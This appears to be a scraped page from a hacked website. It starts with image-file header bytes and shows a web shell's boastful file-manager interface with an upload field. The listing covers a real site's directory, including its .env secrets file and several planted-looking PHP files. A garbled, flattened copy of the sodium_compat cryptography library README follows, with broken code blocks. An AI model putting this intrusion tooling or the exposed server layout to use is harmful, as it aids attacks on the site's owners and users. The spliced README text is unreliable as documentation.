ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 23 2025 16:34:410644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
# Sodium Compat [![Build Status](https://github.com/paragonie/sodium_compat/actions/workflows/ci.yml/badge.svg)](https://github.com/paragonie/sodium_compat/actions) [![Psalm Status](https://github.com/paragonie/sodium_compat/actions/workflows/psalm.yml/badge.svg)](https://github.com/paragonie/sodium_compat/actions) [![Windows Build Status](https://ci.appveyor.com/api/projects/status/itcx1vgmfqiawgbe?svg=true)](https://ci.appveyor.com/project/paragonie-scott/sodium-compat) [![Latest Stable Version](https://poser.pugx.org/paragonie/sodium_compat/v/stable)](https://packagist.org/packages/paragonie/sodium_compat) [![Latest Unstable Version](https://poser.pugx.org/paragonie/sodium_compat/v/unstable)](https://packagist.org/packages/paragonie/sodium_compat) [![License](https://poser.pugx.org/paragonie/sodium_compat/license)](https://packagist.org/packages/paragonie/sodium_compat) [![Downloads](https://img.shields.io/packagist/dt/paragonie/sodium_compat.svg)](https://packagist.org/packages/paragonie/sodium_compat) Sodium Compat is a pure PHP polyfill for the Sodium cryptography library (libsodium), a core extension in PHP 7.2.0+ and otherwise [available in PECL](https://pecl.php.net/package/libsodium). If you have the PHP extension installed, Sodium Compat will opportunistically and transparently use the PHP extension instead of our implementation. ## Major Versions and Branches sodium_compat v1.21.0 was the last v1.x release from the master branch. From now on, all future releases that support PHP 5.2 - 5.6 and 32-bit integers will be [in the `v1.x` branch](v1.x). Newer versions of sodium_compat (i.e., v2.0.0) will continue to live in the master branch, unless a new major version is needed. The goal of this work is to improve code readability and performance, while reducing boilerplate code. When in doubt, refer to the README file in [the master branch](https://github.com/paragonie/sodium_compat/blob/master/README.md) for the latest in version information. ### Which version should I use? | sodium_compat version | PHP versions supported | 32-bit support? | Branch | |-----------------------|------------------------|-----------------|---------------------------------------------------------------| | `v1.x.y` | 5.2.4 - LATEST | YES | [v1.x](https://github.com/paragonie/sodium_compat/tree/v1.x) | | `v2.x.y` | 7.2 - LATEST | NO | **master** | If you need 32-bit PHP support (`PHP_INT_SIZE == 4`), continue using sodium_compat v1.x. If you want improved performance and smaller dependencies, use v2.x. We recommend libraries and frameworks set a Composer version constraint as follows: ```javascript { "require": { /* ... */ "paragonie/sodium_compat": ">= 1" /* ... */ } } ``` Applications should, conversely, specify the actual version that matters to them and their deployments. ## IMPORTANT! This cryptography library has not been formally audited by an independent third party that specializes in cryptography or cryptanalysis. If you require such an audit before you can use sodium_compat in your projects and have the funds for such an audit, please open an issue or contact `security at paragonie dot com` so we can help get the ball rolling. However, sodium_compat has been adopted by high profile open source projects, such as [Joomla!](https://github.com/joomla/joomla-cms/blob/459d74686d2a638ec51149d7c44ddab8075852be/composer.json#L40) and [Magento](https://github.com/magento/magento2/blob/8fd89cfdf52c561ac0ca7bc20fd38ef688e201b0/composer.json#L44). Furthermore, sodium_compat was developed by Paragon Initiative Enterprises, a company that *specializes* in secure PHP development and PHP cryptography, and has been informally reviewed by many other security experts who also specialize in PHP. If you'd like to learn more about the defensive security measures we've taken to prevent sodium_compat from being a source of vulnerability in your systems, please read [*Cryptographically Secure PHP Development*](https://paragonie.com/blog/2017/02/cryptographically-secure-php-development). # Installing Sodium Compat If you're using Composer: ```bash composer require paragonie/sodium_compat ``` ### Install From Source If you're not using Composer, download a [release tarball](https://github.com/paragonie/sodium_compat/releases) (which should be signed with [our GnuPG public key](https://paragonie.com/static/gpg-public-key.txt)), extract its contents, then include our `autoload.php` script in your project. ```php gpg --fingerprint 7F52D5C61D1255C731362E826B97A1C2826404DA if [ $? -ne 0 ]; then echo -e "\033[31mCould not download PGP public key for verification\033[0m" exit 1 fi fi # Verifying the PHP Archive gpg --verify sodium-compat.phar.sig sodium-compat.phar ``` Now, simply include this .phar file in your application. ```php execute(); } else { // Defer to a cron job or other sort of asynchronous process $process->enqueue(); } ``` ### Help, my PHP only has 32-Bit Integers! It's super slow! If the `PHP_INT_SIZE` constant equals `4` instead of `8` (PHP 5 on Windows, Linux on i386, etc.), you will run into **significant performance issues**. In particular: public-key cryptography (encryption and signatures) is affected. There is nothing we can do about that. The root cause of these performance issues has to do with implementing cryptography algorithms in constant-time using 16-bit limbs (to avoid overflow) in pure PHP. To mitigate these performance issues, simply install PHP 7.2 or newer and enable the `sodium` extension. Affected users are encouraged to install the sodium extension (or libsodium from older version of PHP). Windows users on PHP 5 may be able to simply upgrade to PHP 7 and the slowdown will be greatly reduced. ## Documentation First, you'll want to read the [Libsodium Quick Reference](https://paragonie.com/blog/2017/06/libsodium-quick-reference-quick-comparison-similar-functions-and-which-one-use). It aims to answer, "Which function should I use for [common problem]?". If you don't find the answers in the Quick Reference page, check out [*Using Libsodium in PHP Projects*](https://paragonie.com/book/pecl-libsodium). Finally, the [official libsodium documentation](https://download.libsodium.org/doc/) (which was written for the C library, not the PHP library) also contains a lot of insightful technical information you may find helpful. ## API Coverage **Recommended reading:** [Libsodium Quick Reference](https://paragonie.com/blog/2017/06/libsodium-quick-reference-quick-comparison-similar-functions-and-which-one-use) * Mainline NaCl Features * `crypto_auth()` * `crypto_auth_verify()` * `crypto_box()` * `crypto_box_open()` * `crypto_scalarmult()` * `crypto_secretbox()` * `crypto_secretbox_open()` * `crypto_sign()` * `crypto_sign_open()` * PECL Libsodium Features * `crypto_aead_aegis128l_encrypt()` * `crypto_aead_aegis128l_decrypt()` * `crypto_aead_aegis256_encrypt()` * `crypto_aead_aegis256_decrypt()` * `crypto_aead_aes256gcm_encrypt()` * `crypto_aead_aes256gcm_decrypt()` * `crypto_aead_chacha20poly1305_encrypt()` * `crypto_aead_chacha20poly1305_decrypt()` * `crypto_aead_chacha20poly1305_ietf_encrypt()` * `crypto_aead_chacha20poly1305_ietf_decrypt()` * `crypto_aead_xchacha20poly1305_ietf_encrypt()` * `crypto_aead_xchacha20poly1305_ietf_decrypt()` * `crypto_box_xchacha20poly1305()` * `crypto_box_xchacha20poly1305_open()` * `crypto_box_seal()` * `crypto_box_seal_open()` * `crypto_generichash()` * `crypto_generichash_init()` * `crypto_generichash_update()` * `crypto_generichash_final()` * `crypto_kx()` * `crypto_secretbox_xchacha20poly1305()` * `crypto_secretbox_xchacha20poly1305_open()` * `crypto_shorthash()` * `crypto_sign_detached()` * `crypto_sign_ed25519_pk_to_curve25519()` * `crypto_sign_ed25519_sk_to_curve25519()` * `crypto_sign_verify_detached()` * For advanced users only: * `crypto_core_ristretto255_add()` * `crypto_core_ristretto255_from_hash()` * `crypto_core_ristretto255_is_valid_point()` * `crypto_core_ristretto255_random()` * `crypto_core_ristretto255_scalar_add()` * `crypto_core_ristretto255_scalar_complement()` * `crypto_core_ristretto255_scalar_invert()` * `crypto_core_ristretto255_scalar_mul()` * `crypto_core_ristretto255_scalar_negate()` * `crypto_core_ristretto255_scalar_random()` * `crypto_core_ristretto255_scalar_reduce()` * `crypto_core_ristretto255_scalar_sub()` * `crypto_core_ristretto255_sub()` * `crypto_scalarmult_ristretto255_base()` * `crypto_scalarmult_ristretto255()` * `crypto_stream()` * `crypto_stream_keygen()` * `crypto_stream_xor()` * `crypto_stream_xchacha20()` * `crypto_stream_xchacha20_keygen()` * `crypto_stream_xchacha20_xor()` * `crypto_stream_xchacha20_xor_ic()` * Other utilities (e.g. `crypto_*_keypair()`) * `add()` * `base642bin()` * `bin2base64()` * `bin2hex()` * `hex2bin()` * `crypto_kdf_derive_from_key()` * `crypto_kx_client_session_keys()` * `crypto_kx_server_session_keys()` * `crypto_secretstream_xchacha20poly1305_init_push()` * `crypto_secretstream_xchacha20poly1305_push()` * `crypto_secretstream_xchacha20poly1305_init_pull()` * `crypto_secretstream_xchacha20poly1305_pull()` * `crypto_secretstream_xchacha20poly1305_rekey()` * `pad()` * `unpad()` ### Cryptography Primitives Provided * **X25519** - Elliptic Curve Diffie Hellman over Curve25519 * **Ed25519** - Edwards curve Digital Signature Algorithm over Curve25519 * **Xsalsa20** - Extended-nonce Salsa20 stream cipher * **ChaCha20** - Stream cipher * **Xchacha20** - Extended-nonce ChaCha20 stream cipher * **Poly1305** - Polynomial Evaluation Message Authentication Code modulo 2^130 - 5 * **BLAKE2b** - Cryptographic Hash Function * **SipHash-2-4** - Fast hash, but not collision-resistant; ideal for hash tables. ### Features Excluded from this Polyfill * `sodium_memzero()` - Although we expose this API endpoint, we can't reliably zero buffers from PHP. If you have the PHP extension installed, sodium_compat will use the native implementation to zero out the string provided. Otherwise it will throw a `SodiumException`. * `sodium_crypto_pwhash()` - It's not feasible to polyfill scrypt or Argon2 into PHP and get reasonable performance. Users would feel motivated to select parameters that downgrade security to avoid denial of service (DoS) attacks. The only winning move is not to play. If ext/sodium or ext/libsodium is installed, these API methods will fallthrough to the extension. Otherwise, our polyfill library will throw a `SodiumException`. To detect support for Argon2i at runtime, use `ParagonIE_Sodium_Compat::crypto_pwhash_is_available()`, which returns a boolean value (`TRUE` or `FALSE`). * Libsodium's HKDF API (`crypto_kdf_hkdf_*()`) is not included because PHP has its own [HMAC features](https://php.met/hash_hmac) amd it was not deemed necessary. ### PHPCompatibility Ruleset For sodium_compat users and that utilize [`PHPCompatibility`](https://github.com/PHPCompatibility/PHPCompatibility) in their CI process, there is now a custom ruleset available which can be used to prevent false positives being thrown by `PHPCompatibility` for the native PHP functionality being polyfilled by this repo. You can find the repo for the `PHPCompatibilityParagonieSodiumCompat` ruleset here [on Github](https://github.com/PHPCompatibility/PHPCompatibilityParagonie) and [on Packagist](https://packagist.org/packages/phpcompatibility/phpcompatibility-paragonie).